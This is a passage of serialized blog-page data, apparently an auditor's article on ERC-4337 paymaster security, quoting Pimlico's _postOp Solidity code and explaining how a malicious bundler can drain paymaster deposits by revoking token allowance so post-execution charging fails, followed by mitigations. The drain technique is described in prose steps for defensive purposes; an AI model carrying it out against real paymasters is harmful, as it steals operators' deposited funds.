mUserOp.paymasterPostOpGasLimit);\n",{"type":22,"tag":264,"props":108090,"children":108091},{"class":1534,"line":10406},[108092],{"type":22,"tag":264,"props":108093,"children":108094},{"style":1539},[108095],{"type":27,"value":72395},{"type":22,"tag":264,"props":108097,"children":108098},{"class":1534,"line":10512},[108099],{"type":22,"tag":264,"props":108100,"children":108101},{"style":1539},[108102],{"type":27,"value":60206},{"type":22,"tag":264,"props":108104,"children":108105},{"class":1534,"line":24810},[108106],{"type":22,"tag":264,"props":108107,"children":108108},{"style":1539},[108109],{"type":27,"value":106122},{"type":22,"tag":264,"props":108111,"children":108112},{"class":1534,"line":24845},[108113],{"type":22,"tag":264,"props":108114,"children":108115},{"style":1539},[108116],{"type":27,"value":1674},{"type":22,"tag":23,"props":108118,"children":108119},{},[108120,108122,108127,108129,108135,108137,108143,108145,108150,108152,108157,108159,108164,108166,108171,108173,108178,108180,108185],{"type":27,"value":108121},"It turns out that if the ",{"type":22,"tag":257,"props":108123,"children":108125},{"className":108124},[],[108126],{"type":27,"value":103702},{"type":27,"value":108128}," call fails, it will revert with ",{"type":22,"tag":257,"props":108130,"children":108132},{"className":108131},[],[108133],{"type":27,"value":108134},"PostOpReverted",{"type":27,"value":108136},". However, as we can see in the previous code of ",{"type":22,"tag":257,"props":108138,"children":108140},{"className":108139},[],[108141],{"type":27,"value":108142},"_executeUserOp",{"type":27,"value":108144},", even though ",{"type":22,"tag":257,"props":108146,"children":108148},{"className":108147},[],[108149],{"type":27,"value":106844},{"type":27,"value":108151}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":22,"tag":257,"props":108153,"children":108155},{"className":108154},[],[108156],{"type":27,"value":107512},{"type":27,"value":108158}," call with ",{"type":22,"tag":257,"props":108160,"children":108162},{"className":108161},[],[108163],{"type":27,"value":107520},{"type":27,"value":108165}," mode, and it won't try to call ",{"type":22,"tag":257,"props":108167,"children":108169},{"className":108168},[],[108170],{"type":27,"value":103702},{"type":27,"value":108172}," again. This means the ",{"type":22,"tag":257,"props":108174,"children":108176},{"className":108175},[],[108177],{"type":27,"value":103563},{"type":27,"value":108179}," still gets paid for submitting the failed ",{"type":22,"tag":257,"props":108181,"children":108183},{"className":108182},[],[108184],{"type":27,"value":103503},{"type":27,"value":210},{"type":22,"tag":23,"props":108187,"children":108188},{},[108189,108191,108196,108198,108203,108205,108212],{"type":27,"value":108190},"Now that we understand this behavior where ",{"type":22,"tag":257,"props":108192,"children":108194},{"className":108193},[],[108195],{"type":27,"value":103702},{"type":27,"value":108197}," is allowed to fail while the ",{"type":22,"tag":257,"props":108199,"children":108201},{"className":108200},[],[108202],{"type":27,"value":103563},{"type":27,"value":108204}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":22,"tag":69,"props":108206,"children":108209},{"href":108207,"rel":108208},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[73],[108210],{"type":27,"value":108211},"Pimlico",{"type":27,"value":210},{"type":22,"tag":618,"props":108214,"children":108216},{"className":5768,"code":108215,"language":5767,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[108217],{"type":22,"tag":257,"props":108218,"children":108219},{"__ignoreMap":7},[108220,108235,108252,108272,108288,108300,108307,108314,108321,108352,108359,108384,108392,108399,108406,108435,108442,108458,108480,108487,108503,108553,108560,108576,108584,108617,108650,108658,108665,108672,108715,108722,108771,108797,108804,108811,108828],{"type":22,"tag":264,"props":108221,"children":108222},{"class":1534,"line":1535},[108223,108227,108231],{"type":22,"tag":264,"props":108224,"children":108225},{"style":4293},[108226],{"type":27,"value":91154},{"type":22,"tag":264,"props":108228,"children":108229},{"style":4401},[108230],{"type":27,"value":105104},{"type":22,"tag":264,"props":108232,"children":108233},{"style":1539},[108234],{"type":27,"value":4767},{"type":22,"tag":264,"props":108236,"children":108237},{"class":1534,"line":1545},[108238,108243,108247],{"type":22,"tag":264,"props":108239,"children":108240},{"style":4293},[108241],{"type":27,"value":108242},"        PostOpMode",{"type":22,"tag":264,"props":108244,"children":108245},{"style":1539},[108246],{"type":27,"value":4380},{"type":22,"tag":264,"props":108248,"children":108249},{"style":4284},[108250],{"type":27,"value":108251},"/* mode */\n",{"type":22,"tag":264,"props":108253,"children":108254},{"class":1534,"line":1560},[108255,108259,108263,108268],{"type":22,"tag":264,"props":108256,"children":108257},{"style":4722},[108258],{"type":27,"value":107020},{"type":22,"tag":264,"props":108260,"children":108261},{"style":4293},[108262],{"type":27,"value":104333},{"type":22,"tag":264,"props":108264,"children":108265},{"style":1549},[108266],{"type":27,"value":108267}," _context",{"type":22,"tag":264,"props":108269,"children":108270},{"style":1539},[108271],{"type":27,"value":4812},{"type":22,"tag":264,"props":108273,"children":108274},{"class":1534,"line":1569},[108275,108279,108284],{"type":22,"tag":264,"props":108276,"children":108277},{"style":4722},[108278],{"type":27,"value":91332},{"type":22,"tag":264,"props":108280,"children":108281},{"style":1549},[108282],{"type":27,"value":108283}," _actualGasCost",{"type":22,"tag":264,"props":108285,"children":108286},{"style":1539},[108287],{"type":27,"value":4812},{"type":22,"tag":264,"props":108289,"children":108290},{"class":1534,"line":1583},[108291,108295],{"type":22,"tag":264,"props":108292,"children":108293},{"style":4722},[108294],{"type":27,"value":91332},{"type":22,"tag":264,"props":108296,"children":108297},{"style":1549},[108298],{"type":27,"value":108299}," _actualUserOpFeePerGas\n",{"type":22,"tag":264,"props":108301,"children":108302},{"class":1534,"line":1603},[108303],{"type":22,"tag":264,"props":108304,"children":108305},{"style":1539},[108306],{"type":27,"value":25231},{"type":22,"tag":264,"props":108308,"children":108309},{"class":1534,"line":1612},[108310],{"type":22,"tag":264,"props":108311,"children":108312},{"style":4293},[108313],{"type":27,"value":104372},{"type":22,"tag":264,"props":108315,"children":108316},{"class":1534,"line":1621},[108317],{"type":22,"tag":264,"props":108318,"children":108319},{"style":1539},[108320],{"type":27,"value":1566},{"type":22,"tag":264,"props":108322,"children":108323},{"class":1534,"line":1629},[108324,108329,108333,108338,108342,108347],{"type":22,"tag":264,"props":108325,"children":108326},{"style":1539},[108327],{"type":27,"value":108328},"        ERC20PostOpContext ",{"type":22,"tag":264,"props":108330,"children":108331},{"style":4293},[108332],{"type":27,"value":77298},{"type":22,"tag":264,"props":108334,"children":108335},{"style":1539},[108336],{"type":27,"value":108337}," ctx ",{"type":22,"tag":264,"props":108339,"children":108340},{"style":4309},[108341],{"type":27,"value":429},{"type":22,"tag":264,"props":108343,"children":108344},{"style":4401},[108345],{"type":27,"value":108346}," _parsePostOpContext",{"type":22,"tag":264,"props":108348,"children":108349},{"style":1539},[108350],{"type":27,"value":108351},"(_context);\n",{"type":22,"tag":264,"props":108353,"children":108354},{"class":1534,"line":1642},[108355],{"type":22,"tag":264,"props":108356,"children":108357},{"emptyLinePlaceholder":17},[108358],{"type":27,"value":4986},{"type":22,"tag":264,"props":108360,"children":108361},{"class":1534,"line":1660},[108362,108366,108371,108375,108380],{"type":22,"tag":264,"props":108363,"children":108364},{"style":4722},[108365],{"type":27,"value":91332},{"type":22,"tag":264,"props":108367,"children":108368},{"style":1539},[108369],{"type":27,"value":108370}," expectedPenaltyGasCost ",{"type":22,"tag":264,"props":108372,"children":108373},{"style":4309},[108374],{"type":27,"value":429},{"type":22,"tag":264,"props":108376,"children":108377},{"style":4401},[108378],{"type":27,"value":108379}," _expectedPenaltyGasCost",{"type":22,"tag":264,"props":108381,"children":108382},{"style":1539},[108383],{"type":27,"value":4767},{"type":22,"tag":264,"props":108385,"children":108386},{"class":1534,"line":1668},[108387],{"type":22,"tag":264,"props":108388,"children":108389},{"style":1539},[108390],{"type":27,"value":108391},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":22,"tag":264,"props":108393,"children":108394},{"class":1534,"line":1677},[108395],{"type":22,"tag":264,"props":108396,"children":108397},{"style":1539},[108398],{"type":27,"value":9037},{"type":22,"tag":264,"props":108400,"children":108401},{"class":1534,"line":1686},[108402],{"type":22,"tag":264,"props":108403,"children":108404},{"emptyLinePlaceholder":17},[108405],{"type":27,"value":4986},{"type":22,"tag":264,"props":108407,"children":108408},{"class":1534,"line":4948},[108409,108413,108417,108421,108426,108430],{"type":22,"tag":264,"props":108410,"children":108411},{"style":4722},[108412],{"type":27,"value":91332},{"type":22,"tag":264,"props":108414,"children":108415},{"style":1539},[108416],{"type":27,"value":105428},{"type":22,"tag":264,"props":108418,"children":108419},{"style":4309},[108420],{"type":27,"value":429},{"type":22,"tag":264,"props":108422,"children":108423},{"style":1539},[108424],{"type":27,"value":108425}," _actualGasCost ",{"type":22,"tag":264,"props":108427,"children":108428},{"style":4309},[108429],{"type":27,"value":673},{"type":22,"tag":264,"props":108431,"children":108432},{"style":1539},[108433],{"type":27,"value":108434}," expectedPenaltyGasCost;\n",{"type":22,"tag":264,"props":108436,"children":108437},{"class":1534,"line":4957},[108438],{"type":22,"tag":264,"props":108439,"children":108440},{"emptyLinePlaceholder":17},[108441],{"type":27,"value":4986},{"type":22,"tag":264,"props":108443,"children":108444},{"class":1534,"line":4980},[108445,108449,108454],{"type":22,"tag":264,"props":108446,"children":108447},{"style":4722},[108448],{"type":27,"value":91332},{"type":22,"tag":264,"props":108450,"children":108451},{"style":1539},[108452],{"type":27,"value":108453}," costInToken ",{"type":22,"tag":264,"props":108455,"children":108456},{"style":4309},[108457],{"type":27,"value":15992},{"type":22,"tag":264,"props":108459,"children":108460},{"class":1534,"line":4989},[108461,108466,108471,108475],{"type":22,"tag":264,"props":108462,"children":108463},{"style":4401},[108464],{"type":27,"value":108465},"            getCostInToken",{"type":22,"tag":264,"props":108467,"children":108468},{"style":1539},[108469],{"type":27,"value":108470},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":22,"tag":264,"props":108472,"children":108473},{"style":4309},[108474],{"type":27,"value":673},{"type":22,"tag":264,"props":108476,"children":108477},{"style":1539},[108478],{"type":27,"value":108479}," ctx.constantFee;\n",{"type":22,"tag":264,"props":108481,"children":108482},{"class":1534,"line":4998},[108483],{"type":22,"tag":264,"props":108484,"children":108485},{"emptyLinePlaceholder":17},[108486],{"type":27,"value":4986},{"type":22,"tag":264,"props":108488,"children":108489},{"class":1534,"line":5067},[108490,108494,108499],{"type":22,"tag":264,"props":108491,"children":108492},{"style":4722},[108493],{"type":27,"value":91332},{"type":22,"tag":264,"props":108495,"children":108496},{"style":1539},[108497],{"type":27,"value":108498}," absoluteCostInToken ",{"type":22,"tag":264,"props":108500,"children":108501},{"style":4309},[108502],{"type":27,"value":15992},{"type":22,"tag":264,"props":108504,"children":108505},{"class":1534,"line":5075},[108506,108511,108515,108520,108524,108528,108532,108536,108540,108544,108548],{"type":22,"tag":264,"props":108507,"children":108508},{"style":1539},[108509],{"type":27,"value":108510},"            costInToken ",{"type":22,"tag":264,"props":108512,"children":108513},{"style":4309},[108514],{"type":27,"value":11760},{"type":22,"tag":264,"props":108516,"children":108517},{"style":1539},[108518],{"type":27,"value":108519}," ctx.preFundCharged ",{"type":22,"tag":264,"props":108521,"children":108522},{"style":4309},[108523],{"type":27,"value":4458},{"type":22,"tag":264,"props":108525,"children":108526},{"style":1539},[108527],{"type":27,"value":108453},{"type":22,"tag":264,"props":108529,"children":108530},{"style":4309},[108531],{"type":27,"value":5621},{"type":22,"tag":264,"props":108533,"children":108534},{"style":1539},[108535],{"type":27,"value":108519},{"type":22,"tag":264,"props":108537,"children":108538},{"style":4309},[108539],{"type":27,"value":5785},{"type":22,"tag":264,"props":108541,"children":108542},{"style":1539},[108543],{"type":27,"value":108519},{"type":22,"tag":264,"props":108545,"children":108546},{"style":4309},[108547],{"type":27,"value":5621},{"type":22,"tag":264,"props":108549,"children":108550},{"style":1539},[108551],{"type":27,"value":108552}," costInToken;\n",{"type":22,"tag":264,"props":108554,"children":108555},{"class":1534,"line":5105},[108556],{"type":22,"tag":264,"props":108557,"children":108558},{"emptyLinePlaceholder":17},[108559],{"type":27,"value":4986},{"type":22,"tag":264,"props":108561,"children":108562},{"class":1534,"line":5113},[108563,108568,108572],{"type":22,"tag":264,"props":108564,"children":108565},{"style":1539},[108566],{"type":27,"value":108567},"        SafeTransferLib.",{"type":22,"tag":264,"props":108569,"children":108570},{"style":4401},[108571],{"type":27,"value":104959},{"type":22,"tag":264,"props":108573,"children":108574},{"style":1539},[108575],{"type":27,"value":4767},{"type":22,"tag":264,"props":108577,"children":108578},{"class":1534,"line":5145},[108579],{"type":22,"tag":264,"props":108580,"children":108581},{"style":1539},[108582],{"type":27,"value":108583},"            ctx.token,\n",{"type":22,"tag":264,"props":108585,"children":108586},{"class":1534,"line":5153},[108587,108591,108595,108599,108603,108608,108612],{"type":22,"tag":264,"props":108588,"children":108589},{"style":1539},[108590],{"type":27,"value":108510},{"type":22,"tag":264,"props":108592,"children":108593},{"style":4309},[108594],{"type":27,"value":11760},{"type":22,"tag":264,"props":108596,"children":108597},{"style":1539},[108598],{"type":27,"value":108519},{"type":22,"tag":264,"props":108600,"children":108601},{"style":4309},[108602],{"type":27,"value":4458},{"type":22,"tag":264,"props":108604,"children":108605},{"style":1539},[108606],{"type":27,"value":108607}," ctx.sender ",{"type":22,"tag":264,"props":108609,"children":108610},{"style":4309},[108611],{"type":27,"value":5785},{"type":22,"tag":264,"props":108613,"children":108614},{"style":1539},[108615],{"type":27,"value":108616}," ctx.treasury,\n",{"type":22,"tag":264,"props":108618,"children":108619},{"class":1534,"line":5213},[108620,108624,108628,108632,108636,108641,108645],{"type":22,"tag":264,"props":108621,"children":108622},{"style":1539},[108623],{"type":27,"value":108510},{"type":22,"tag":264,"props":108625,"children":108626},{"style":4309},[108627],{"type":27,"value":11760},{"type":22,"tag":264,"props":108629,"children":108630},{"style":1539},[108631],{"type":27,"value":108519},{"type":22,"tag":264,"props":108633,"children":108634},{"style":4309},[108635],{"type":27,"value":4458},{"type":22,"tag":264,"props":108637,"children":108638},{"style":1539},[108639],{"type":27,"value":108640}," ctx.treasury ",{"type":22,"tag":264,"props":108642,"children":108643},{"style":4309},[108644],{"type":27,"value":5785},{"type":22,"tag":264,"props":108646,"children":108647},{"style":1539},[108648],{"type":27,"value":108649}," ctx.sender,\n",{"type":22,"tag":264,"props":108651,"children":108652},{"class":1534,"line":10343},[108653],{"type":22,"tag":264,"props":108654,"children":108655},{"style":1539},[108656],{"type":27,"value":108657},"            absoluteCostInToken\n",{"type":22,"tag":264,"props":108659,"children":108660},{"class":1534,"line":10361},[108661],{"type":22,"tag":264,"props":108662,"children":108663},{"style":1539},[108664],{"type":27,"value":9037},{"type":22,"tag":264,"props":108666,"children":108667},{"class":1534,"line":10406},[108668],{"type":22,"tag":264,"props":108669,"children":108670},{"emptyLinePlaceholder":17},[108671],{"type":27,"value":4986},{"type":22,"tag":264,"props":108673,"children":108674},{"class":1534,"line":10512},[108675,108679,108684,108688,108693,108697,108702,108706,108711],{"type":22,"tag":264,"props":108676,"children":108677},{"style":4722},[108678],{"type":27,"value":91332},{"type":22,"tag":264,"props":108680,"children":108681},{"style":1539},[108682],{"type":27,"value":108683}," preFundInToken ",{"type":22,"tag":264,"props":108685,"children":108686},{"style":4309},[108687],{"type":27,"value":429},{"type":22,"tag":264,"props":108689,"children":108690},{"style":1539},[108691],{"type":27,"value":108692}," (ctx.preFund ",{"type":22,"tag":264,"props":108694,"children":108695},{"style":4309},[108696],{"type":27,"value":5865},{"type":22,"tag":264,"props":108698,"children":108699},{"style":1539},[108700],{"type":27,"value":108701}," ctx.exchangeRate) ",{"type":22,"tag":264,"props":108703,"children":108704},{"style":4309},[108705],{"type":27,"value":2891},{"type":22,"tag":264,"props":108707,"children":108708},{"style":4344},[108709],{"type":27,"value":108710}," 1e18",{"type":22,"tag":264,"props":108712,"children":108713},{"style":1539},[108714],{"type":27,"value":4322},{"type":22,"tag":264,"props":108716,"children":108717},{"class":1534,"line":24810},[108718],{"type":22,"tag":264,"props":108719,"children":108720},{"emptyLinePlaceholder":17},[108721],{"type":27,"value":4986},{"type":22,"tag":264,"props":108723,"children":108724},{"class":1534,"line":24845},[108725,108729,108734,108738,108742,108746,108750,108754,108758,108762,108766],{"type":22,"tag":264,"props":108726,"children":108727},{"style":4328},[108728],{"type":27,"value":4575},{"type":22,"tag":264,"props":108730,"children":108731},{"style":1539},[108732],{"type":27,"value":108733}," (ctx.recipient ",{"type":22,"tag":264,"props":108735,"children":108736},{"style":4309},[108737],{"type":27,"value":16988},{"type":22,"tag":264,"props":108739,"children":108740},{"style":4722},[108741],{"type":27,"value":7542},{"type":22,"tag":264,"props":108743,"children":108744},{"style":1539},[108745],{"type":27,"value":2660},{"type":22,"tag":264,"props":108747,"children":108748},{"style":4344},[108749],{"type":27,"value":5334},{"type":22,"tag":264,"props":108751,"children":108752},{"style":1539},[108753],{"type":27,"value":4390},{"type":22,"tag":264,"props":108755,"children":108756},{"style":4309},[108757],{"type":27,"value":74521},{"type":22,"tag":264,"props":108759,"children":108760},{"style":1539},[108761],{"type":27,"value":108683},{"type":22,"tag":264,"props":108763,"children":108764},{"style":4309},[108765],{"type":27,"value":11760},{"type":22,"tag":264,"props":108767,"children":108768},{"style":1539},[108769],{"type":27,"value":108770}," costInToken) {\n",{"type":22,"tag":264,"props":108772,"children":108773},{"class":1534,"line":24853},[108774,108779,108783,108788,108792],{"type":22,"tag":264,"props":108775,"children":108776},{"style":1539},[108777],{"type":27,"value":108778},"            SafeTransferLib.",{"type":22,"tag":264,"props":108780,"children":108781},{"style":4401},[108782],{"type":27,"value":104959},{"type":22,"tag":264,"props":108784,"children":108785},{"style":1539},[108786],{"type":27,"value":108787},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":22,"tag":264,"props":108789,"children":108790},{"style":4309},[108791],{"type":27,"value":5621},{"type":22,"tag":264,"props":108793,"children":108794},{"style":1539},[108795],{"type":27,"value":108796}," costInToken);\n",{"type":22,"tag":264,"props":108798,"children":108799},{"class":1534,"line":24861},[108800],{"type":22,"tag":264,"props":108801,"children":108802},{"style":1539},[108803],{"type":27,"value":4651},{"type":22,"tag":264,"props":108805,"children":108806},{"class":1534,"line":24870},[108807],{"type":22,"tag":264,"props":108808,"children":108809},{"emptyLinePlaceholder":17},[108810],{"type":27,"value":4986},{"type":22,"tag":264,"props":108812,"children":108813},{"class":1534,"line":24912},[108814,108819,108823],{"type":22,"tag":264,"props":108815,"children":108816},{"style":4328},[108817],{"type":27,"value":108818},"        emit",{"type":22,"tag":264,"props":108820,"children":108821},{"style":4401},[108822],{"type":27,"value":105693},{"type":22,"tag":264,"props":108824,"children":108825},{"style":1539},[108826],{"type":27,"value":108827},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":22,"tag":264,"props":108829,"children":108830},{"class":1534,"line":24945},[108831],{"type":22,"tag":264,"props":108832,"children":108833},{"style":1539},[108834],{"type":27,"value":1674},{"type":22,"tag":23,"props":108836,"children":108837},{},[108838,108840,108845,108847,108853,108855,108861,108863,108868,108870,108875],{"type":27,"value":108839},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":22,"tag":257,"props":108841,"children":108843},{"className":108842},[],[108844],{"type":27,"value":104959},{"type":27,"value":108846},". Note that ",{"type":22,"tag":257,"props":108848,"children":108850},{"className":108849},[],[108851],{"type":27,"value":108852},"preFundCharged",{"type":27,"value":108854}," can be zero, as users can opt out of any ",{"type":22,"tag":257,"props":108856,"children":108858},{"className":108857},[],[108859],{"type":27,"value":108860},"preFund",{"type":27,"value":108862}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":22,"tag":257,"props":108864,"children":108866},{"className":108865},[],[108867],{"type":27,"value":105760},{"type":27,"value":108869}," call inside ",{"type":22,"tag":257,"props":108871,"children":108873},{"className":108872},[],[108874],{"type":27,"value":106844},{"type":27,"value":108876}," will revert and the paymaster won't be able to collect payment from the user.",{"type":22,"tag":23,"props":108878,"children":108879},{},[108880,108882,108887,108889,108895,108897,108903],{"type":27,"value":108881},"However, even when ",{"type":22,"tag":257,"props":108883,"children":108885},{"className":108884},[],[108886],{"type":27,"value":105760},{"type":27,"value":108888}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":22,"tag":257,"props":108890,"children":108892},{"className":108891},[],[108893],{"type":27,"value":108894},"requiredPrefund",{"type":27,"value":108896}," was taken from the paymaster's ",{"type":22,"tag":69,"props":108898,"children":108901},{"href":108899,"rel":108900},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[73],[108902],{"type":27,"value":63285},{"type":27,"value":210},{"type":22,"tag":23,"props":108905,"children":108906},{},[108907,108909,108914],{"type":27,"value":108908},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":22,"tag":257,"props":108910,"children":108912},{"className":108911},[],[108913],{"type":27,"value":105760},{"type":27,"value":108915}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":22,"tag":1867,"props":108917,"children":108918},{},[108919,108937,108956,108967,108972],{"type":22,"tag":1871,"props":108920,"children":108921},{},[108922,108924,108929,108931],{"type":27,"value":108923},"The bundler creates a ",{"type":22,"tag":257,"props":108925,"children":108927},{"className":108926},[],[108928],{"type":27,"value":103503},{"type":27,"value":108930}," with an intentionally high ",{"type":22,"tag":257,"props":108932,"children":108934},{"className":108933},[],[108935],{"type":27,"value":108936},"gasPrice",{"type":22,"tag":1871,"props":108938,"children":108939},{},[108940,108942,108947,108949,108954],{"type":27,"value":108941},"The bundler ensures the ",{"type":22,"tag":257,"props":108943,"children":108945},{"className":108944},[],[108946],{"type":27,"value":105760},{"type":27,"value":108948}," call will fail by revoking the paymaster's token allowance before ",{"type":22,"tag":257,"props":108950,"children":108952},{"className":108951},[],[108953],{"type":27,"value":105760},{"type":27,"value":108955}," executes",{"type":22,"tag":1871,"props":108957,"children":108958},{},[108959,108960,108965],{"type":27,"value":64677},{"type":22,"tag":257,"props":108961,"children":108963},{"className":108962},[],[108964],{"type":27,"value":105760},{"type":27,"value":108966}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":22,"tag":1871,"props":108968,"children":108969},{},[108970],{"type":27,"value":108971},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":22,"tag":1871,"props":108973,"children":108974},{},[108975],{"type":27,"value":108976},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":22,"tag":23,"props":108978,"children":108979},{},[108980,108982,108987,108989,108994],{"type":27,"value":108981},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":22,"tag":257,"props":108983,"children":108985},{"className":108984},[],[108986],{"type":27,"value":103532},{"type":27,"value":108988}," designed to fail during ",{"type":22,"tag":257,"props":108990,"children":108992},{"className":108991},[],[108993],{"type":27,"value":105760},{"type":27,"value":108995}," while maximizing the gas costs they can charge to the paymaster.",{"type":22,"tag":23,"props":108997,"children":108998},{},[108999,109001,109006,109008,109013,109015,109021,109023,109028],{"type":27,"value":109000},"Some paymasters try to protect against this by simulating the ",{"type":22,"tag":257,"props":109002,"children":109004},{"className":109003},[],[109005],{"type":27,"value":103503},{"type":27,"value":109007}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":22,"tag":257,"props":109009,"children":109011},{"className":109010},[],[109012],{"type":27,"value":103503},{"type":27,"value":109014}," is submitted via ",{"type":22,"tag":257,"props":109016,"children":109018},{"className":109017},[],[109019],{"type":27,"value":109020},"handleOps",{"type":27,"value":109022},". This means the ",{"type":22,"tag":257,"props":109024,"children":109026},{"className":109025},[],[109027],{"type":27,"value":105760},{"type":27,"value":109029}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":22,"tag":23,"props":109031,"children":109032},{},[109033],{"type":27,"value":109034},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":22,"tag":23,"props":109036,"children":109037},{},[109038],{"type":27,"value":109039},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":22,"tag":23,"props":109041,"children":109042},{},[109043],{"type":27,"value":109044},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":22,"tag":36687,"props":109046,"children":109047},{"id":30246},[109048],{"type":27,"value":20252},{"type":22,"tag":23,"props":109050,"children":109051},{},[109052],{"type":27,"value":109053},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":22,"tag":1867,"props":109055,"children":109056},{},[109057,109062,109067,109072,109077],{"type":22,"tag":1871,"props":109058,"children":109059},{},[109060],{"type":27,"value":109061},"Always collect full payment during validation, not after execution",{"type":22,"tag":1871,"props":109063,"children":109064},{},[109065],{"type":27,"value":109066},"Be conservative with gas estimations and include safety margins",{"type":22,"tag":1871,"props":109068,"children":109069},{},[109070],{"type":27,"value":109071},"Carefully validate all user inputs and token transfers",{"type":22,"tag":1871,"props":109073,"children":109074},{},[109075],{"type":27,"value":109076},"Test extensively, including simulation of malicious behavior",{"type":22,"tag":1871,"props":109078,"children":109079},{},[109080,109082,109087],{"type":27,"value":109081},"Always review changes in new ",{"type":22,"tag":257,"props":109083,"children":109085},{"className":109084},[],[109086],{"type":27,"value":103584},{"type":27,"value":109088}," versions, as they may impact your paymaster's design and security assumptions",{"type":22,"tag":23,"props":109090,"children":109091},{},[109092,109094,109099,109101,109106,109108,109113],{"type":27,"value":109093},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":22,"tag":257,"props":109095,"children":109097},{"className":109096},[],[109098],{"type":27,"value":103584},{"type":27,"value":109100}," contract's behavior could potentially break existing ",{"type":22,"tag":257,"props":109102,"children":109104},{"className":109103},[],[109105],{"type":27,"value":103656},{"type":27,"value":109107}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":22,"tag":257,"props":109109,"children":109111},{"className":109110},[],[109112],{"type":27,"value":103584},{"type":27,"value":109114}," versions.",{"type":22,"tag":23,"props":109116,"children":109117},{},[109118],{"type":27,"value":109119},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":22,"tag":23,"props":109121,"children":109122},{},[109123],{"type":27,"value":109124},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":22,"tag":4139,"props":109126,"children":109127},{},[109128],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":109130},[109131,109132,109133,109140,109145,109146],{"id":103418,"depth":1545,"text":103421},{"id":103434,"depth":1545,"text":103437},{"id":103473,"depth":1545,"text":103476,"children":109134},[109135,109136,109137,109138,109139],{"id":103496,"depth":1560,"text":103503},{"id":103537,"depth":1560,"text":103540},{"id":103563,"depth":1560,"text":103566},{"id":16022,"depth":1560,"text":103584},{"id":103656,"depth":1560,"text":103667},{"id":103719,"depth":1545,"text":109141,"children":109142},"Understanding the EntryPoint's 